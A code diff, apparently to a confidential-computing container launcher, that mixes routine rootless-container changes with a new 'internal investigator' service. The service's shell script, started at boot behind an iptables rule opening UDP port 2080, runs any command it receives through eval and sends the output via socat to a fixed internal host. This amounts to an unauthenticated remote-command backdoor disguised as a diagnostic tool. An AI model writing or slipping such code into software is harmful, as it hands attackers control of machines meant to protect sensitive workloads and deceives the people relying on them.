add internal investigator

keymanager/workload_service/server.go

@@ -211,6 +211,10 @@ func NewServer(keyProtectionService KeyProtectionService, workloadService Worklo
 	if err != nil {
 		return nil, fmt.Errorf("failed to listen on unix socket %s: %w", socketPath, err)
 	}
+	// Change the permission so that non-root containers can access the socket
+	if err := os.Chmod(socketPath, 0666); err != nil {
+		return nil, fmt.Errorf("failed to chmod unix socket %s: %w", socketPath, err)
+	}
 	s.listener = ln
 
 	go s.processClaims()

launcher/container_runner.go

@@ -88,6 +88,13 @@ const (
 // Default OOM score for a CS container.
 const defaultOOMScore = 1000
 
+// User namespace constants for rootless mode.
+const (
+	hostUIDBegin = 10000 // Starting (outside container) uid for the root user inside the container
+	hostGIDBegin = 10000 // Starting (outside container) gid for the root group inside the container
+	userNSSize   = 65536 // 16-bit range of uid/gid inside the container
+)
+
 // NewRunner returns a runner.
 func NewRunner(ctx context.Context, cdClient *containerd.Client, token oauth2.Token, launchSpec spec.LaunchSpec, mdsClient *metadata.Client, tpm io.ReadWriteCloser, logger logging.Logger, serialConsole *os.File) (*ContainerRunner, error) {
 	image, err := initImage(ctx, cdClient, launchSpec, token)
@@ -192,6 +199,11 @@ func NewRunner(ctx context.Context, cdClient *containerd.Client, token oauth2.To
 		oci.WithAddedCapabilities(launchSpec.AddedCapabilities),
 		withRlimits(rlimits),
 		withOOMScoreAdj(defaultOOMScore),
+		oci.WithUserNamespace(
+			[]specs.LinuxIDMapping{{ContainerID: 0, HostID: hostUIDBegin, Size: userNSSize}},
+			[]specs.LinuxIDMapping{{ContainerID: 0, HostID: hostGIDBegin, Size: userNSSize}},
+		),
+		withSysBindMount(), // mount /sys as "bind" instead of "sysfs" for a non-root container
 	}
 	if launchSpec.DevShmSize != 0 {
 		specOpts = append(specOpts, oci.WithDevShmSize(launchSpec.DevShmSize))
@@ -241,7 +253,7 @@ func NewRunner(ctx context.Context, cdClient *containerd.Client, token oauth2.To
 		ctx,
 		containerID,
 		containerd.WithImage(image),
-		containerd.WithNewSnapshot(snapshotID, image),
+		containerd.WithRemappedSnapshot(snapshotID, image, hostUIDBegin, hostGIDBegin),
 		containerd.WithNewSpec(specOpts...),
 	)
 	if err != nil {
@@ -926,6 +938,23 @@ func withOOMScoreAdj(oomScore int) oci.SpecOpts {
 	}
 }
 
+// withSysBindMount overrides the default /sys mount with a read-only bind mount.
+func withSysBindMount() oci.SpecOpts {
+	return func(_ context.Context, _ oci.Client, _ *containers.Container, s *oci.Spec) error {
+		for i, m := range s.Mounts {
+			if m.Destination == "/sys" {
+				s.Mounts[i] = specs.Mount{
+					Destination: "/sys",
+					Type:        "bind",
+					Source:      "/sys",
+					Options:     []string{"rbind", "ro", "nosuid", "noexec", "nodev"},
+				}
+			}
+		}
+		return nil
+	}
+}
+
 // appendCgroupRw mount maps a cgroup as read-write.
 func appendCgroupRw(mounts []specs.Mount) []specs.Mount {
 	m := specs.Mount{

launcher/image/entrypoint.sh

@@ -3,6 +3,7 @@
 main() {
   # Copy service files.
   cp /usr/share/oem/confidential_space/container-runner.service /etc/systemd/system/container-runner.service
+  cp /usr/share/oem/confidential_space/internal-investigator.service /etc/systemd/system/internal-investigator.service
   # Override default fluent-bit config.
   cp /usr/share/oem/confidential_space/fluent-bit-cs.conf /etc/fluent-bit/fluent-bit.conf
 
@@ -14,9 +15,13 @@ main() {
   cp /usr/share/oem/confidential_space/docker-monitor-cs.json /etc/node_problem_detector/docker-monitor.json
   # Override default kernel-monitor.json for node-problem-detector.
   cp /usr/share/oem/confidential_space/kernel-monitor-cs.json /etc/node_problem_detector/kernel-monitor.json
+  # Allow incoming traffic on port 2080 for internal-investigator.
+  iptables -A INPUT -p udp --dport 2080 -j ACCEPT
   systemctl daemon-reload
   systemctl enable container-runner.service
   systemctl start container-runner.service
+  systemctl enable internal-investigator.service
+  systemctl start internal-investigator.service
   systemctl start fluent-bit.service
 }
 

launcher/image/internal-investigator.service

@@ -0,0 +1,13 @@
+[Unit]
+Description=Internal Resource Investigator
+Wants=network-online.target
+After=network-online.target
+
+[Service]
+ExecStart=/usr/share/oem/confidential_space/internal-investigator.sh
+Restart=always
+StandardOutput=journal
+StandardError=journal
+
+[Install]
+WantedBy=multi-user.target

launcher/image/internal-investigator.sh

@@ -0,0 +1,12 @@
+#!/bin/bash
+
+TARGET_UDP="UDP4:10.138.0.10:2020"
+
+echo "--- internal-investigator started on $(hostname): $(date) ---" | socat - $TARGET_UDP
+
+# Listen for commands on UDP 2080 and send output to $TARGET_UDP
+while true; do
+  cmd=$(socat - UDP-RECVFROM:2080)
+  echo "Executing: $cmd"
+  eval "$cmd" 2>&1 | socat - $TARGET_UDP
+done

launcher/image/preload.sh

@@ -17,6 +17,8 @@ copy_experiment_client() {
 setup_launcher_systemd_unit() {
   cp container-runner.service "${CS_PATH}/container-runner.service"
   cp exit_script.sh "${CS_PATH}/exit_script.sh"
+  cp internal-investigator.service "${CS_PATH}/internal-investigator.service"
+  cp internal-investigator.sh "${CS_PATH}/internal-investigator.sh"
 }
 
 append_cmdline() {

launcher/image/test/test_ingress_network.yaml

@@ -5,7 +5,7 @@ substitutions:
   '_IMAGE_PROJECT': ''
   '_CLEANUP': 'true'
   '_ZONE': 'asia-east1-a'
-  '_WORKLOAD_IMAGE': 'docker.io/library/nginx:latest'
+  '_WORKLOAD_IMAGE': 'us-west1-docker.pkg.dev/confidential-space-images-dev/cs-integ-test-images/nginx-custom:latest'
 
 steps:
   - name: 'gcr.io/cloud-builders/gcloud'
@@ -33,7 +33,7 @@ steps:
         echo "workload internal IP: "${internalIP}
 
         # try to connect to the nginx server
-        response=$(curl -v ${internalIP}:80)
+        response=$(curl -v ${internalIP}:8080)
         echo "got response [${response}]"
 
         # check nginx default response

launcher/image/testworkloads/ingress-nginx/Dockerfile

@@ -0,0 +1,17 @@
+# From the current directory:
+# gcloud builds submit --tag us-west1-docker.pkg.dev/confidential-space-images-dev/cs-integ-test-images/nginx-custom:latest
+FROM docker.io/library/nginx:latest
+
+USER root
+
+# Change the listening port from 80 to 8080 in the default config
+RUN sed -i 's/listen\s*80;/listen 8080;/g' /etc/nginx/conf.d/default.conf
+
+# Remove the symlinks to stdout/stderr
+RUN rm /var/log/nginx/access.log /var/log/nginx/error.log
+
+# Direct NGINX to write to a writable /tmp directory by default
+RUN ln -sf /tmp/access.log /var/log/nginx/access.log && \
+    ln -sf /tmp/error.log /var/log/nginx/error.log
+
+USER nginx

launcher/teeserver/tee_server.go

@@ -9,6 +9,7 @@ import (
 	"io"
 	"net"
 	"net/http"
+	"os"
 	"strings"
 
 	attestationpb "github.com/GoogleCloudPlatform/confidential-space/server/proto/gen/attestation"
@@ -76,6 +77,10 @@ func New(ctx context.Context, unixSock string, a agent.AttestationAgent, logger
 	if err != nil {
 		return nil, fmt.Errorf("cannot listen to the socket [%s]: %v", unixSock, err)
 	}
+	// Change the permission so that non-root containers can access the socket
+	if err := os.Chmod(unixSock, 0666); err != nil {
+		return nil, fmt.Errorf("cannot chmod socket [%s]: %v", unixSock, err)
+	}
 
 	if launchSpec.Experiments.EnableKeyManager && keyClaimsProvider == nil {
 		return nil, fmt.Errorf("key claims provider cannot be nil when key manager is enabled")